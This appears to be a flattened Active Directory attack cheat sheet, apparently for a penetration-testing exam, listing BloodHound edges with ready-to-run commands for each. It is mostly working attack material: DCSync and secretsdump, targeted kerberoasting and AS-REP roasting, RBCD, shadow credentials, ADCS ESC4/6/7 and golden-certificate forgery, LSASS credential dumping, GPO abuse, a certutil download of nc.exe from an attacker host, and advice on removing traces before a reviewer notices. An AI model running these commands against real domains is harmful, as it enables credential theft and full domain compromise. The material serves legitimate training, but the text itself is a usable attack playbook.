nxc ldap $DC -u $ME -p $MEPASS -M lapsbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add rbcd $TARGET $FAKEPCcertipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add dcsync $MEimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlmsee WriteGPLink for what to do once you can edit one
pygpoabuse "$DOMAIN/$ME:$MEPASS" -gpo-id <guid> -command "net localgroup administrators $ME /add" -fGenericWrite [6]exam: likely
you can write most attributes on TARGET, but not the ACL and not the password. In practice it reaches the same places as GenericAll by a different route
writing an SPN then kerberoasting is the clean one — nothing about the account changes afterwards
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v "$SPN"impacket-GetUserSPNs "$DOMAIN/$ME:$MEPASS" -dc-ip $IP -request-user $TARGET -outputfile $WORKDIR/loot/roast.mdhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOUbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v ""certipy shadow auto -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -account $TARGETthen AS-REP roast it. Put the flag back when you are done
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add uac $TARGET -f DONT_REQ_PREAUTHimpacket-GetNPUsers "$DOMAIN/" -usersfile <(echo $TARGET) -format hashcat -dc-ip $IPhashcat -m 18200 asrep.md $ROCKYOUbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove uac $TARGET -f DONT_REQ_PREAUTHbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add rbcd $TARGET $FAKEPCimpacket-getST -spn cifs/$THOST -impersonate administrator "$DOMAIN/$FAKEPC:$FAKEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add groupMember $TARGET $MESet-DomainObject -Identity $TARGET -Set @{serviceprincipalname='$SPN'}.\Rubeus.exe kerberoast /user:$TARGET /nowrapSet-DomainObject -Identity $TARGET -Clear serviceprincipalnameGetChanges [1]exam: likely
half of DCSync. On its own it gets you nothing — you need GetChangesAll with it
nxc ldap $DC -u $ME -p $MEPASS -M daclread -o TARGET_DN="DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" ACTION=read# both present → see DCSync# only this one → look for an edge that lets you grant the other (WriteDacl on the domain)GetChangesAll [1]exam: likely
the other half. With GetChanges, it is DCSync
impacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlmGetChangesInFilteredSet [1]exam: rare
replication of the filtered attribute set. Not enough for a normal DCSync, but it reaches secrets stored in those attributes, LAPS among them
nxc ldap $DC -u $ME -p $MEPASS -M lapsbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr ms-Mcs-AdmPwdGoldenCert [2]exam: possible
you control the CA host, so you can take its private key and sign a certificate for anyone. ESC7's end state, and it outlives every password reset
certipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -backup.\mimikatz.exe "crypto::capi" "crypto::certtohw" exitcertipy forge -ca-pfx $CA.pfx -upn "administrator@$DOMAIN" -subject "CN=Administrator,CN=Users,DC=..."certipy auth -pfx administrator.pfx -dc-ip $IPGPLink [2]exam: possible
this GPO is linked to that OU, domain or site. The edge itself is the wiring; the abuse is upstream, on whatever lets you edit the GPO
enforced links and blocked inheritance change the answer — read the link, do not assume
Get-DomainGPO -Identity <guid> | select displayname,gpcfilesyspathGet-DomainOU | select name,gplinknxc ldap $DC -u $ME -p $MEPASS -M gpp_password# can you write the GPO? → GenericAll / GenericWrite / WriteDacl on it, then pygpoabuse# can you link a new one? → WriteGPLink on the OUH – O
HasSession [4]exam: likely
that user had a session on this computer when the data was collected. Get administrator there and their credential is probably still in memory
sessions end. Check it is still there before you spend time getting onto the box
nxc smb $THOST -u $ME -p $MEPASS --loggedon-usersnxc smb $SUBNET -u $ME -p $MEPASS --sessionsGet-NetLoggedon -ComputerName $THOSTthis edge is worth nothing until you are administrator on that host. Find the edge that gets you there, then come back
nxc smb $THOST -u $ME -p $MEPASSnxc smb $THOST -u $ME -p $MEPASS -M lsassynxc smb $THOST -u $ME -p $MEPASS --lsaimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$THOST"tickets are often better than hashes — a TGT for the user is an immediate impersonation, no cracking
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit.\Rubeus.exe triage.\Rubeus.exe dump /user:$TARGET /nowrap.\Rubeus.exe ptt /ticket:<base64>HasSIDHistory [2]exam: rare
the account carries another principal's SID in its history, so it gets that principal's access as well
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr sIDHistoryGet-DomainUser -Identity $TARGET -Properties sidhistory# the account you hold already has the access of the SID in its history —# nothing to run, just follow that other node's outbound edges insteadHasTrustKeys [1]exam: rare
the trust key between two domains. With it you can forge an inter-realm ticket and walk into the other domain
the exam set is one domain. Here for recognition
impacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-user "$DOMAIN2\$".\mimikatz.exe "lsadump::trust /patch" exitHostsCAService [1]exam: none
this computer runs that certificate authority
# not an action. It names the host every certipy -target goes to. Local admin# on it is GoldenCert — see that entryIssuedSignedBy [1]exam: none
one CA certificate was signed by another
# not an action. It is the chain up to the root CA, which is what makes a# forged certificate trusted domain-wideLocalToComputer [1]exam: none
this principal is local to that computer rather than a domain object
# not an action. It marks a local account or group, so an edge through it only# applies on that one host. Local admin hashes are reused across boxes far more# often than they should be — try it everywhere:nxc smb $SUBNET -u administrator -H <local hash> --local-authManageCA [2]exam: possible
CA administrator. You can turn on the SAN flag, approve your own requests and make yourself an officer. ESC7
certipy does the officer grant, the template enable, the request and the cleanup
certipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -add-officer $MEcertipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -enable-template SubCAcertipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template SubCA -upn "administrator@$DOMAIN"# it is denied — note the request id, then issue it yourselfcertipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -issue-request <id>certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -retrieve <id>certipy auth -pfx administrator.pfx -dc-ip $IPthis is ESC6 by hand. It changes CA configuration, so put it back
certipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -enable-sancertipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -template User -upn "administrator@$DOMAIN"ManageCertificates [1]exam: possible
certificate manager, or officer. You can approve pending requests — the second half of the ESC7 chain
certipy ca -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -issue-request <id>certipy req -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -target $THOST -ca $CA -retrieve <id>MemberOf [1]exam: none
group membership
# not an action. Everything the group can do, this member can do — follow the# group's outbound edges. The reason BloodHound paths are usually longer than# they look is that most rights are held by a group, not a userMemberOfLocalGroup [1]exam: none
membership of a local group on a computer
# not an action. It is how AdminTo, CanRDP, CanPSRemote and ExecuteDCOM are# worked out — the local group is the reason you have that accessNTAuthStoreFor [1]exam: none
this NTAuth store serves that domain
# not an action. A CA in the NTAuth store is a CA whose certificates the domain# will accept for logon, which is what makes the ADCS entries work at allOIDGroupLink [1]exam: rare
an issuance policy tied to a group. A certificate carrying that policy authenticates as a member of it
# see ADCSESC13 — this edge is the link that attack relies onGet-DomainObject -SearchBase "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=..." | select name,msds-oidtogrouplinkOwns [4]exam: likely
you own TARGET. An owner can always rewrite the ACL, so this is WriteDacl with one extra step
impacket-dacledit -action write -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add genericAll $TARGET $MEAdd-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $ME -Rights Allyou now have GenericAll — go to that entry and pick by what TARGET is
# user → shadow creds / targeted roast / password reset# group → add yourself# computer → LAPS / RBCD# domain → DCSyncimpacket-dacledit -action remove -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPOwnsLimitedRights [2]exam: possible
ownership where the implicit owner rights have been trimmed down. You still hold WriteOwner or WriteDacl over part of the object
impacket-dacledit -action read -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IP# treat it as WriteDacl — grant yourself what is missing and carry on therebloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add genericAll $TARGET $MEP – S
ProtectAdminGroups [1]exam: none
AdminSDHolder. The object is protected, so its ACL is stamped back over every hour
it explains a failure you would otherwise waste time on — an ACE you wrote on a protected account disappears within the hour
# if you write an ACL on a protected object, use it immediately# writing the ACL on AdminSDHolder itself is the other way round: it propagates# down to every protected account, which is a persistence trick, not a pathGet-DomainObject -Identity $TARGET -Properties admincountPublishedTo [1]exam: none
the template is published to that CA, so requests for it go there
# not an action. It pairs the template with the CA name your certipy -ca needsReadGMSAPassword [3]exam: likely
you may read a group managed service account's password blob. Managed accounts are service accounts, and service accounts are usually privileged
the blob is the password. gMSADumper turns it into an NT hash you can pass
nxc ldap $DC -u $ME -p $MEPASS --gmsapython3 gMSADumper.py -u $ME -p $MEPASS -d $DOMAINbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr msDS-ManagedPassword$o = Get-ADServiceAccount -Identity $TARGET -Properties msDS-ManagedPassword$b = ConvertFrom-ADManagedPasswordBlob $o.'msDS-ManagedPassword'.\GMSAPasswordReader.exe --accountname $TARGETthe account name ends in $. It cannot be used for an interactive logon, but the hash passes everywhere else
nxc smb $SUBNET -u '$TARGET' -H <nt hash>impacket-psexec -hashes :<nt hash> "$DOMAIN/$TARGET@$THOST"ReadLAPSPassword [3]exam: likely
you may read the local administrator password of that computer. It is a plaintext password, so there is nothing to crack and nothing to forge
legacy LAPS is ms-Mcs-AdmPwd; Windows LAPS is msLAPS-Password. Try both, the module handles it
nxc ldap $DC -u $ME -p $MEPASS -M lapsnxc ldap $DC -u $ME -p $MEPASS -M laps -o COMPUTER=$TARGETbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr ms-Mcs-AdmPwdpython3 pyLAPS.py --action get -d $DOMAIN -u $ME -p $MEPASS --dc-ip $IPGet-DomainComputer $TARGET -Properties ms-mcs-admpwdGet-LAPSADPassword -Identity $TARGET -AsPlainTextit is the local administrator, so --local-auth, not the domain
nxc smb $THOST -u administrator -p '<laps password>' --local-authimpacket-psexec "administrator:<laps password>@$THOST"evil-winrm -i $THOST -u administrator -p '<laps password>'RemoteInteractiveLogonRight [1]exam: none
the right that sits behind CanRDP
# not an action — see CanRDP, which is the edge with the commands on itRootCAFor [1]exam: none
this root CA is trusted for that domain
# not an action. It is the top of the chain a forged certificate needs to come# from — see GoldenCertSameForestTrust [1]exam: rare
a trust between two domains in one forest. SID filtering is off inside a forest, so a child domain can reach the forest root
out of scope for the exam set, which is one domain. Worth recognising on a lab
Get-DomainTrustnxc ldap $DC -u $ME -p $MEPASS -M enum_trusts# with the child krbtgt hash, a golden ticket with the Enterprise Admins SID# from the parent crosses the trust — the SID history edge is SpoofSIDHistoryServerIs [1]exam: none
internal wiring between a node and the server it represents
# not an action. Ignore it and read the next edge alongSpoofSIDHistory [1]exam: rare
the trust does not filter SIDs, so a ticket forged in the trusted domain can claim a privileged SID in the other one
# one domain on the exam, so this will not come up there# the ingredients: the trust key (HasTrustKeys), and the target domain's SIDimpacket-lookupsid "$DOMAIN/$ME:$MEPASS@$DC" 0 | head -2SQLAdmin [4]exam: likely
you are a sysadmin on the MSSQL instance on THOST. xp_cmdshell runs as the service account, and a service account with SeImpersonate is SYSTEM
nxc mssql $THOST -u $ME -p $MEPASS --local-authnxc mssql $THOST -u $ME -p $MEPASS -q "SELECT IS_SRVROLEMEMBER('sysadmin')"impacket-mssqlclient "$DOMAIN/$ME:$MEPASS@$THOST" -windows-authenable_xp_cmdshell in the impacket shell does the two reconfigure lines for you
nxc mssql $THOST -u $ME -p $MEPASS -X "whoami"# in impacket-mssqlclient:# enable_xp_cmdshell# xp_cmdshell whoamiit usually lands you as a service account with SeImpersonate. That is a potato away from SYSTEM — see the windows privesc phase of the cheatsheet
# xp_cmdshell whoami /priv# xp_cmdshell "certutil -urlcache -f http://$LHOST:8000/nc.exe C:\Windows\Temp\nc.exe"a link to another instance may run there as a different and better account
# in impacket-mssqlclient: enum_links, then use_link <name>SyncedToADUser [1]exam: rare
this Entra user and that AD user are the same person
# not an action, and not on the exam. It is the hinge between the cloud half# of a graph and the on-premises halfSyncLAPSPassword [2]exam: possible
replication rights over the LAPS attribute. A different route to the same password as ReadLAPSPassword
nxc ldap $DC -u $ME -p $MEPASS -M lapsbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr ms-Mcs-AdmPwdnxc smb $THOST -u administrator -p '<laps password>' --local-authT – W
TrustedForNTAuth [1]exam: none
this CA is in the NTAuth store, so the domain accepts its certificates for logon
# not an action. It is the property that makes every ADCS entry on this page# worth running against that CAWriteAccountRestrictions [4]exam: likely
you can write the account restriction attributes on TARGET, msDS-AllowedToActOnBehalfOfOtherIdentity among them. In practice this is RBCD
impacket-addcomputer "$DOMAIN/$ME:$MEPASS" -computer-name $FAKEPC -computer-pass $FAKEPASS -dc-ip $IPnxc ldap $DC -u $ME -p $MEPASS -M maqimpacket-rbcd -action write -delegate-from $FAKEPC -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add rbcd $TARGET $FAKEPCimpacket-getST -spn cifs/$THOST -impersonate administrator "$DOMAIN/$FAKEPC:$FAKEPASS" -dc-ip $IPexport KRB5CCNAME=$(ls -t administrator@*.ccache | head -1)impacket-psexec -k -no-pass "$DOMAIN/administrator@$THOST"impacket-rbcd -action remove -delegate-from $FAKEPC -delegate-to $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPWriteAltSecurityIdentities [2]exam: rare
you can write the attribute that maps a certificate to an account. Map one you hold to TARGET and authenticate as them
needs strong certificate mapping to be off or weakly enforced on the DC
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET altSecurityIdentities -v "X509:<I>DC=htb,DC=corp,CN=$CA<S>CN=$ME"certipy auth -pfx $ME.pfx -username $TARGET -domain $DOMAIN -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET altSecurityIdentities -v ""WriteDacl [6]exam: likely
you can edit TARGET's ACL. Grant yourself whatever right finishes the job, use it, take it back off
impacket-dacledit -action read -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPGet-ObjectAcl -Identity $TARGET -ResolveGUIDs | ? { $_.SecurityIdentifier -match $(Get-DomainUser $ME).objectsid }impacket-dacledit -action write -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add genericAll $TARGET $MEthe narrower grant. Two replication rights rather than full control of the domain object
impacket-dacledit -action write -rights DCSync -principal $ME -target "$DOMAIN" "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add dcsync $MEimpacket-secretsdump "$DOMAIN/$ME:$MEPASS@$DC" -just-dc-ntlmAdd-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $ME -Rights AllAdd-DomainObjectAcl -TargetIdentity "$DOMAIN" -PrincipalIdentity $ME -Rights DCSync# you have GenericAll now — go to that entry and pick by what TARGET isan ACE you leave behind is the loudest thing on this page. Remove it
impacket-dacledit -action remove -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove genericAll $TARGET $MEWriteGPLink [4]exam: possible
you can link a GPO to that OU, domain or site. Link one you can edit and it applies to everything inside
no point linking to an OU holding one disabled account. Check what you are about to reach
Get-DomainComputer -SearchBase "LDAP://OU=..." | select nameGet-DomainOU | select name,distinguishedname,gplinkpygpoabuse writes an immediate scheduled task into a GPO you already control. Pair it with this edge to decide who runs it
pygpoabuse "$DOMAIN/$ME:$MEPASS" -gpo-id <guid> -command "net localgroup administrators $ME /add" -fbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add groupPolicyLink <guid> "OU=...,DC=..."New-GPLink -Name "<gpo>" -Target "OU=...,DC=..." -LinkEnabled Yesgpupdate /forceit applies at the next refresh, up to 90 minutes, or immediately with gpupdate on the box. Unlink when you are done
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS remove groupPolicyLink <guid> "OU=...,DC=..."Remove-GPLink -Name "<gpo>" -Target "OU=...,DC=..."WriteOwner [5]exam: likely
you can make yourself the owner of TARGET. Owner rewrites the ACL, so this is three steps to full control
impacket-owneredit -action write -new-owner $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set owner $TARGET $MEimpacket-dacledit -action write -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS add genericAll $TARGET $MESet-DomainObjectOwner -Identity $TARGET -OwnerIdentity $MEAdd-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $ME -Rights All# GenericAll — pick by what TARGET isread the original owner before you change it, so you can put that back too
impacket-owneredit -action read -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPimpacket-dacledit -action remove -rights FullControl -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPWriteOwnerLimitedRights [2]exam: possible
you can set the owner, but the implicit owner rights have been trimmed. You may still end up able to rewrite the ACL
impacket-owneredit -action write -new-owner $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IPimpacket-dacledit -action read -principal $ME -target $TARGET "$DOMAIN/$ME:$MEPASS" -dc-ip $IP# if WriteDacl came with it, carry on at WriteOwner. If not, the ownership# alone buys nothing here — look for another edgeWritePKIEnrollmentFlag [2]exam: possible
you can write msPKI-Enrollment-Flag on a template. Clearing manager approval is half of turning it into an ESC1
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TEMPLATE msPKI-Enrollment-Flag -v 0certipy template -u "$ME@$DOMAIN" -p $MEPASS -dc-ip $IP -template $TEMPLATE -save-old# pair it with WritePKINameFlag and you have ESC4 — see that entryWritePKINameFlag [2]exam: possible
you can write msPKI-Certificate-Name-Flag. Setting ENROLLEE_SUPPLIES_SUBJECT is the other half
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TEMPLATE msPKI-Certificate-Name-Flag -v 1# see ADCSESC4 — request with -upn administrator@$DOMAIN, then put the# template back the way you found itWritePublicInformation [1]exam: rare
write access to the public information property set, which includes servicePrincipalName
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v "$SPN"impacket-GetUserSPNs "$DOMAIN/$ME:$MEPASS" -dc-ip $IP -request-user $TARGET -outputfile $WORKDIR/loot/roast.mdhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOUbloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v ""WriteSPN [5]exam: likely
you can write TARGET's servicePrincipalName. Give them an SPN, kerberoast them, take it back off. Nothing about the account changes
a service account picked by a human usually is. A managed account never will be — check for the $ on the end first
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS get object $TARGET --attr servicePrincipalName,pwdLastSetit has to be unique in the domain. Anything will do as long as nothing else has it
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v "$SPN"impacket-addspn -u "$DOMAIN\\$ME" -p $MEPASS -t $TARGET -s $SPN $DCimpacket-GetUserSPNs "$DOMAIN/$ME:$MEPASS" -dc-ip $IP -request-user $TARGET -outputfile $WORKDIR/loot/roast.mdhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOUhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOU -r /usr/share/hashcat/rules/best64.ruleSet-DomainObject -Identity $TARGET -Set @{serviceprincipalname='$SPN'}.\Rubeus.exe kerberoast /user:$TARGET /nowrapSet-DomainObject -Identity $TARGET -Clear serviceprincipalnamedo this even if the crack fails. An SPN left on a user account is an odd thing for a reviewer to find
bloodyAD --host $DC -d $DOMAIN -u $ME -p $MEPASS set object $TARGET servicePrincipalName -v ""no matches